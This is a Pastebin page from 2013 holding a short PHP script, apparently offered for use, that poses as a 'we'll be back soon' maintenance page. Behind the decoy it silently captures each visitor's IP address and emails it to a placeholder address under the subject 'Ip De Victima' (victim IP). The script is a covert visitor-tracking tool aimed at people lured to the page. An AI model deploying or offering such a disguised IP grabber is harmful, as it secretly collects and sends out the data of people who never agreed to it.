Advertisement
irokemr

Enviar ip via correo electronico =D By Jose89

Nov 27th, 2013
342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.40 KB | None | 0 0
  1. <title>¡Volveremos pronto!</title>
  2. <?php
  3. $ip = $_SERVER['REMOTE_ADDR'];
  4. $destinatario = "AQUI TU CORREO ;D";
  5. $asunto = "Ip De Victima";
  6. $cuerpo = "ip: $ip";
  7. $cabecera = "MIME-Version: 1.0\r\n";
  8. $cabecera .= "Content-type: text/html; charset=iso-8859-1\r\n";
  9. $cabecera .= "From: IP <IP  @jose.com>\r\n";
  10. mail($destinatario,$asunto,$cuerpo,$cabecera) ;
  11. ?>
  12. <center><b>¡Volveremos pronto!</b></Center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement